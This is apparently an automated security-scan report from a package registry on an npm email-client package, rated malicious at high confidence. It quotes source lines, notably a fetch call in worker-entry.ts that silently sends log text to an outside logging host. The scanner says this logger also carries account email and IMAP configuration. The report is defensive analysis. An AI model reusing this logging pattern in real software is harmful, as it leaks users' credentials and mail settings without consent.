registry / @bobfrankston/rmfmail / 1.2.297

@bobfrankston/rmfmail@1.2.297

Local-first email client with IMAP sync and standalone native app

AI Security Review

scanned 2h ago · by lpm-firewall-ai

The Android client silently exports runtime console messages and verbose account-registration data to an unrelated remote logging host.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Opening the Android client and registering or synchronizing a configured mail account.

Impact

The remote host can receive email addresses, IMAP usernames and server settings, optional IMAP passwords, and arbitrary data written to the captured console methods.

Mechanism

Unconditional fetch requests place captured logs and a JSON serialization of the IMAP configuration in the URL path.

Attack narrative

When the Android client runs, it replaces the standard console methods and silently sends captured output to rmf39.aaz.lt. Its account-registration path separately sends the account email and the full serialized IMAP configuration, which can contain a password. These requests occur without an opt-in and suppress transmission failures.

Rationale

The Android client silently sends console output and verbose account-setup logs to rmf39.aaz.lt. The account-registration path serializes the full IMAP configuration, whose declared fields include an optional password. This remote disclosure is automatic, has no user opt-in, and is unrelated to the package's local mail-client operation.

Evidence

client/index.htmlpackages/mailx-store-web/android-bootstrap.jspackages/mailx-types/index.ts

Network endpoints1

rmf39.aaz.lt/logit/

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The client defines an unconditional helper that sends log data to https://rmf39.aaz.lt/logit/ and suppresses delivery failures.
The console capture serializes object arguments, so logged objects can expose their full contents.
The client replaces console log, error, and warning methods and forwards captured messages to the remote helper.
The Android bootstrap defines a second unconditional remote logger to the same host.
Account registration sends the account email and a JSON serialization of the full IMAP configuration through that remote logger.
The account type confirms that the serialized IMAP configuration can contain a password as well as the username and server details.

Evidence against

The postinstall hook only links bundled workspace packages inside this package's own node_modules tree; the foreign-package overwrite finding is not the malicious behavior.
Remote mail and AI-provider access are expected features of a mail client, but they do not justify silently exporting arbitrary logs and full account configuration to an unrelated logging host.

Behavioral surface

Source

ChildProcessCryptoDynamicRequireEnvironmentVarsEvalFilesystemNetworkShell

Supply chain

HighEntropyStringsMinifiedPossibleObfuscationProtestwareTelemetryUrlStrings

ManifestNo manifest risk signals triggered.

scanned 486 file(s), 19.0 MB of source, external domains: 127.0.0.1, accounts.google.com, api.anthropic.com, api.openai.com, autoconfig.thunderbird.net, bugs.webkit.org, bugzilla.mozilla.org, calendar.google.com, cdn.jsdelivr.net, cdnjs.cloudflare.com, contacts.google.com, cure53.de, developer.mozilla.org, developers.google.com, docs.microsoft.com, drafts.csswg.org, en.cppreference.com, feross.org, github.com, gmail.googleapis.com, graph.microsoft.com, html.spec.whatwg.org, issues.chromium.org, lea.verou.me, mail.google.com, oauth2.googleapis.com, openjdk.java.net, opensource.org, people.googleapis.com, quilljs.com, rmf39.aaz.lt, schemas.microsoft.com, tasks.google.com, tasks.googleapis.com, tiptap.dev, translate.google.com, websemantics.uk, www.cse.yorku.ca, www.googleapis.com, www.spamhaus.org, www.tiny.cloud, www.w3.org

Source & flagged code

11 flagged

package.jsonView file

Lines 12-52json

12 "rmfmail-mcp": "bin/mcp-server.js"

13 },

14 "workspaces": [

15 "packages/mailx-types",

16 "packages/mailx-bus",

17 "packages/mailx-host",

18 "packages/mailx-settings",

19 "packages/mailx-store",

20 "packages/mailx-store-web",

21 "packages/mailx-imap",

22 "packages/mailx-service",

23 "packages/mailx-api",

24 "client"

25 ],

26 "scripts": {

27 "build": "npm run build --workspaces --if-present && tsc -p bin && node bin/build-icon-ico.js && node bin/build-rmfmailto-exe.js && node bin/build-rmfshare-exe.js && node bin/build-rmf-tiny.js && node bin/build-tinymce.js && node bin/build-quill.js && node bin/build-spellcheck-dict.js && node bin/build-bundles.mjs",

28 "watch": "tsc -w",

29 "release": "npmglobalize",

30 "test": "node --experimental-strip-types --test tests/*.test.ts tests/dom/*.test.ts",

31 "test:fast": "node --experimental-strip-types --test tests/dedup.test.ts tests/dedup-newest.test.ts tests/dupcount.test.ts tests/search.test.ts tests/sync-coalesce.test.ts tests/undelete.test.ts tests/body-load.test.ts tests/allowlist-merge.test.ts tests/log-changes.test.ts tests/dom/_smoke.test.ts tests/dom/viewer-scroll.test.ts tests/dom/viewer-rerender-guard.test.ts tests/dom/harper-lint.test.ts",

32 "postinstall": "node bin/postinstall.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L32

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L32

33 },

34 "dependencies": {

35 "@bobfrankston/iflow-direct": "^0.1.68",

36 "@bobfrankston/mailx-host": "^0.1.15",

37 "@bobfrankston/mailx-imap": "^0.1.169",

38 "@bobfrankston/mailx-store-web": "^0.1.99",

39 "@bobfrankston/mailx-sync": "^0.1.29",

40 "@bobfrankston/miscinfo": "^1.0.20",

41 "@bobfrankston/msger": "^0.1.429",

42 "@bobfrankston/node-tcp-transport": "^0.1.10",

43 "@bobfrankston/oauthsupport": "^1.0.35",

44 "@bobfrankston/rmf-tiny": "^0.1.54",

45 "@bobfrankston/smtp-direct": "^0.1.9",

46 "@bobfrankston/tcp-transport": "^0.1.8",

47 "@capacitor/android": "^8.3.0",

48 "@capacitor/cli": "^8.3.0",

49 "@capacitor/core": "^8.3.0",

50 "dictionary-en": "^4.0.0",

51 "express": "^4.21.0",

52 "harper.js": "^2.4.0",

bin/build-bundles.mjsView file

Lines 1-51javascript

1#!/usr/bin/env node

2/**

3 * Bundle client entry points so cold-start drops from ~43 s to ~2 s.

4 *

5 * mailx's msger custom protocol routes every fetch through one IPC channel

6 * (Rust → daemon stdin → response → stdout), so an ES module import cascade

7 * pays a multi-second roundtrip per file. With ~17 client-side modules each

8 * pulling in transitive deps, the WebView is paying that cost N times in

9 * series.

10 *

11 * esbuild collapses the import graph into one file per entry point. The

12 * boot router in index.html stops cascading after one fetch.

13 *

14 * Dynamic `await import(...)` calls stay as runtime imports (rmf-tiny

15 * adapter for the TinyMCE editor, android-bootstrap fallback). Those are

16 * either tiny themselves, or live in a code path the desktop main flow

17 * doesn't take.

18 */

19import * as esbuild from "esbuild";

20import path from "node:path";

21import fs from "node:fs";

22import crypto from "node:crypto";

23import { fileURLToPath } from "node:url";

25const root = path.resolve(fileURLToPath(import.meta.url), "..", "..");

27// A client call the bridge does not carry is a silent no-op, not an error —

28// so it ships. Check before every bundle (this script runs on the way to

29// every publish). See bin/check-bridge-contract.mjs for the case that

30// motivated it.

31{

32 const { execFileSync } = await import("node:child_process");

33 try {

Low

Weak Crypto

Package source references weak cryptographic algorithms.

bin/build-bundles.mjsView on unpkg · L5

High

Child Process

Package source references child process execution.

bin/build-bundles.mjsView on unpkg · L31

34 execFileSync(process.execPath, [path.join(path.dirname(fileURLToPath(import.meta.url)), "check-bridge-contract.mjs")], { stdio: "inherit" });

35 } catch {

36 console.error(" [build-bundles] aborting: bridge contract check failed");

37 process.exit(1);

38 }

39}

40const watch = process.argv.includes("--watch");

42/** Cache-bust the bundle references in the HTML entry points with a content

43 * hash. The msger custom protocol serves bundles with no cache headers, so

44 * WebView2 caches `app.bundle.js` and keeps serving the OLD bundle across

45 * daemon relaunches — every client-side fix silently failed to reach the user

46 * until the cache happened to evict (Bob 2026-06-26: flag/Ctrl+A fixes "still

47 * happening" while the daemon was already on the new version). Stamping a

48 * per-build `?v=<hash>` makes the URL change whenever the bundle changes, so

49 * the WebView is forced to fetch the new one. */

50function shortHash(file) {

51 try { return crypto.createHash("sha1").update(fs.readFileSync(file)).digest("hex").slice(0, 10); }

5Cross-file remote execution chain: bin/build-bundles.mjs spawns client/app.bundle.js; helper contains network access plus dynamic code execution. L5: * mailx's msger custom protocol routes every fetch through one IPC channel L6: * (Rust → daemon stdin → response → stdout), so an ES module import cascade L7: * pays a multi-second roundtrip per file. With ~17 client-side modules each ... L31: { L32: const { execFileSync } = await import("node:child_process"); L33: try { ... L162: logLevel: "info", L163: // .wasm files are inlined as base64 data URLs so the runtime can L164: // decode → Uint8Array → pass as initSqlJs({ wasmBinary }), bypassing L165: // sql.js's fetch(...) of the .wasm. Android WebView refuses to L166: // compile WASM fetched from file:// (even with AllowFileAccess /

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

bin/build-bundles.mjsView on unpkg · L5

bin/mailx.jsView file

Lines 222-262javascript

222 const __perAppBin = path.join(process.env.LOCALAPPDATA || "", "rmfmail", "bin");

223 const __rmfmailtoExe = path.join(__perAppBin, "rmfmailto.exe");

224 const __pkgRmfmailtoExe = path.join(import.meta.dirname, "rmfmailto.exe");

225 if (fs.existsSync(__pkgRmfmailtoExe) && (!fs.existsSync(__rmfmailtoExe) ||

226 fs.statSync(__pkgRmfmailtoExe).mtimeMs > fs.statSync(__rmfmailtoExe).mtimeMs)) {

227 try {

228 fs.mkdirSync(__perAppBin, { recursive: true });

229 fs.copyFileSync(__pkgRmfmailtoExe, __rmfmailtoExe);

230 lines.push(`Installed rmfmailto.exe to ${__rmfmailtoExe}`);

231 }

232 catch (e) {

233 lines.push(`Failed to copy rmfmailto.exe to per-app dir: ${e.message}`);

234 // Fall through and try registering the in-package path so

235 // mailto still works, just from inside node_modules.

236 }

237 }

238 const __launcherExe = fs.existsSync(__rmfmailtoExe) ? __rmfmailtoExe : __pkgRmfmailtoExe;

239 if (!fs.existsSync(__launcherExe)) {

240 return { ok: false, message: `rmfmailto.exe not found at ${__launcherExe} — package may have been built without it. Re-run 'npm run build' on the build machine.` };

241 }

242 // reg.exe value for `\"path\" \"%1\"` — double-backslash escapes for

243 // cmd.exe's shell layer, which strips one level before the value reaches

244 // reg.exe. Quoting %1 keeps `?` and `&` from being eaten by cmd before

High

Shell

Package source references shell execution.

bin/mailx.jsView on unpkg · L242

245 // the EXE's argv layer.

246 const cmd = `\\"${__launcherExe}\\" \\"%1\\"`;

247 const keys = [

248 // [hive\\path, value-name, value-data]

249 [`HKCU\\Software\\Classes\\rmfmail\\shell\\open\\command`, "", cmd],

250 [`HKCU\\Software\\Classes\\rmfmail\\DefaultIcon`, "", `\\"${path.join(import.meta.dirname, "..", "client", "icon.ico")}\\",0`],

251 [`HKCU\\Software\\Classes\\rmfmail`, "URL Protocol", ""],

252 [`HKCU\\Software\\Classes\\rmfmail`, "", "URL:rmfmail Protocol"],

253 // Make rmfmail visible in Settings → Default apps → Email so the

254 // user can flip it to default with one click.

255 [`HKCU\\Software\\Clients\\Mail\\rmfmail`, "", "rmfmail"],

256 [`HKCU\\Software\\Clients\\Mail\\rmfmail\\Capabilities`, "ApplicationName", "rmfmail"],

257 [`HKCU\\Software\\Clients\\Mail\\rmfmail\\Capabilities`, "ApplicationDescription", "Local-first email client"],

258 [`HKCU\\Software\\Clients\\Mail\\rmfmail\\Capabilities\\URLAssociations`, "mailto", "rmfmail"],

259 [`HKCU\\Software\\RegisteredApplications`, "rmfmail", "Software\\Clients\\Mail\\rmfmail\\Capabilities"],

260 // Belt-and-suspenders for the Win11 picker's display-name lookup:

261 // some code paths read `HKCU\Software\Classes\Applications\<exe>`

262 // for the FriendlyAppName even when the registered ProgId already

707// session — inherits it. On Windows a process's cwd holds the directory L708: // locked, so `npm install -g` (the in-app self-update AND a manual update) L709: // dies with EBUSY renaming .../rmfmail/bin for as long as we run ... L720: if (!verbose && !isDaemon && !process.argv.slice(2).some(a => /^-/.test(a))) { L721: const { spawn } = await import("node:child_process"); L722: const child = spawn(process.execPath, [...process.argv.slice(1), "--daemon"], {

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

bin/mailx.jsView on unpkg · L707

client/app.bundle.jsView file

11966try { L11967: const fn = new Function(`return (async () => (${code}))();`); L11968: let v = await fn();

Low

Eval

Package source references a known benign dynamic code generation pattern.

client/app.bundle.jsView on unpkg · L11966

bin/lean-accounts.jsView file

Lines 116-156javascript

116 const inputPath = args.find(a => !a.startsWith("--"));

117 const inplace = args.includes("--inplace");

118 if (!inputPath) {

119 console.error("Usage: node lean-accounts.js <path-to-accounts.jsonc> [--inplace]");

120 process.exit(2);

121 }

122 if (!fs.existsSync(inputPath)) {

123 console.error(`File not found: ${inputPath}`);

124 process.exit(1);

125 }

126

127 // Resolve jsonc-parser from the local mailx repo's node_modules so the

128 // script doesn't require a global install. The repo root is two levels

129 // up from bin/ — and we walk up further if invoked from elsewhere.

130 let parseJsonc;

131 for (const dir of [

132 path.join(__dirname, "..", "node_modules", "jsonc-parser"),

133 path.join(__dirname, "..", "..", "node_modules", "jsonc-parser"),

134 path.join(process.cwd(), "node_modules", "jsonc-parser"),

135 ]) {

136 if (fs.existsSync(path.join(dir, "package.json"))) {

137 const mod = await import(pathToFileURL(path.join(dir, "lib", "esm", "main.js")).href).catch(() => null) ||

138 await import("jsonc-parser").catch(() => null);

Medium

Dynamic Require

Package source references dynamic require/import behavior.

bin/lean-accounts.jsView on unpkg · L136

139 if (mod) { parseJsonc = mod.parse; break; }

140 }

141 }

142 if (!parseJsonc) {

143 try { parseJsonc = (await import("jsonc-parser")).parse; }

144 catch { console.error("jsonc-parser not found. Install or run from inside the mailx repo."); process.exit(1); }

145 }

146

147 const raw = fs.readFileSync(inputPath, "utf-8");

148 const errors = [];

149 const cfg = parseJsonc(raw, errors, { allowTrailingComma: true });

150 if (errors.length) {

151 console.error(`JSONC parse error: ${errors.map(e => JSON.stringify(e)).join(", ")}`);

152 process.exit(1);

153 }

154

155 const accounts = cfg?.accounts || (Array.isArray(cfg) ? cfg : []);

156 // Promote shared name to file-level when every entry has the same.

packages/mailx-store-web/worker-entry.tsView file

Lines 17-57typescript

17 setGDriveTokenProvider, setGDriveFolderId

18} from "./web-settings.js";

20// ── Globals ──

22let db: WebMailxDB;

23let bodyStore: WebMessageStore;

24let syncManager: SyncManager;

25let service: WebMailxService;

27const post = (msg: any) => (self as any).postMessage(msg);

29// ── Event emission → main thread ──

31function emitEvent(event: any): void {

32 post({ type: "event", event });

33}

35function vlog(msg: string): void {

36 // Route through main thread for logit (fetch works in workers but keep consistent)

37 try {

38 fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {});

39 } catch { /* ignore */ }

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

packages/mailx-store-web/worker-entry.tsView on unpkg · L37

40}

42// ── Native bridge proxy ──

44let nativeReqCounter = 0;

45const pendingNative = new Map<number, { resolve: (v: any) => void; reject: (e: Error) => void }>();

47function nativeRequest(op: string, args?: any[]): Promise<any> {

48 const reqId = ++nativeReqCounter;

49 return new Promise((resolve, reject) => {

50 pendingNative.set(reqId, { resolve, reject });

51 post({ type: "native", reqId, op, args });

52 setTimeout(() => {

53 if (pendingNative.has(reqId)) {

54 pendingNative.delete(reqId);

55 reject(new Error(`Native ${op} timeout`));

56 }

57 }, 60000);

bin/rmfshare.exeView file

•path = bin/rmfshare.exe kind = native_binary sizeBytes = 4603904 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

bin/rmfshare.exeView on unpkg

Source & flagged code

11 flagged · loading source

package.jsonView file

•scripts.postinstall = node bin/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node bin/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

bin/build-bundles.mjsView file

31{ L32: const { execFileSync } = await import("node:child_process"); L33: try {

High

Child Process

Package source references child process execution.

bin/build-bundles.mjsView on unpkg · L31

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

bin/build-bundles.mjsView on unpkg · L5

5* mailx's msger custom protocol routes every fetch through one IPC channel L6: * (Rust → daemon stdin → response → stdout), so an ES module import cascade L7: * pays a multi-second roundtrip per file. With ~17 client-side modules each ... L31: { L32: const { execFileSync } = await import("node:child_process"); L33: try { ... L162: logLevel: "info", L163: // .wasm files are inlined as base64 data URLs so the runtime can L164: // decode → Uint8Array → pass as initSqlJs({ wasmBinary }), bypassing L165: // sql.js's fetch(...) of the .wasm. Android WebView refuses to L166: // compile WASM fetched from file:// (even with AllowFileAccess /

Low

Weak Crypto

Package source references weak cryptographic algorithms.

bin/build-bundles.mjsView on unpkg · L5

bin/mailx.jsView file

242// reg.exe value for `\"path\" \"%1\"` — double-backslash escapes for L243: // cmd.exe's shell layer, which strips one level before the value reaches L244: // reg.exe. Quoting %1 keeps `?` and `&` from being eaten by cmd before

High

Shell

Package source references shell execution.

bin/mailx.jsView on unpkg · L242

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

bin/mailx.jsView on unpkg · L707

client/app.bundle.jsView file

11966try { L11967: const fn = new Function(`return (async () => (${code}))();`); L11968: let v = await fn();

Low

Eval

Package source references a known benign dynamic code generation pattern.

client/app.bundle.jsView on unpkg · L11966

bin/lean-accounts.jsView file

136if (fs.existsSync(path.join(dir, "package.json"))) { L137: const mod = await import(pathToFileURL(path.join(dir, "lib", "esm", "main.js")).href).catch(() => null) || L138: await import("jsonc-parser").catch(() => null);

Medium

Dynamic Require

Package source references dynamic require/import behavior.

bin/lean-accounts.jsView on unpkg · L136

packages/mailx-store-web/worker-entry.tsView file

37try { L38: fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); L39: } catch { /* ignore */ } ... L90: if (!homeRes.ok) return null; L91: const home = (await homeRes.json() as any).files?.[0]; L92: if (!home?.id) return null;

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

packages/mailx-store-web/worker-entry.tsView on unpkg · L37

bin/rmfshare.exeView file

•path = bin/rmfshare.exe kind = native_binary sizeBytes = 4603904 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

bin/rmfshare.exeView on unpkg

Findings

1 Critical5 High7 Medium7 Low

CriticalHardcoded Runtime Data Exfiltrationpackages/mailx-store-web/worker-entry.ts

HighInstall Time Lifecycle Scriptspackage.json

HighChild Processbin/build-bundles.mjs

HighShellbin/mailx.js

HighCross File Remote Execution Contextbin/build-bundles.mjs

HighRuntime Package Installbin/mailx.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumDynamic Requirebin/lean-accounts.js

MediumNetwork

MediumEnvironment Vars

MediumProtestware

MediumShips Native Binarybin/rmfshare.exe

MediumStructural Risk Force Deep Review

LowScripts Present

LowEvalclient/app.bundle.js

LowWeak Cryptobin/build-bundles.mjs

LowFilesystem

LowHigh Entropy Strings

LowTelemetry

LowUrl Strings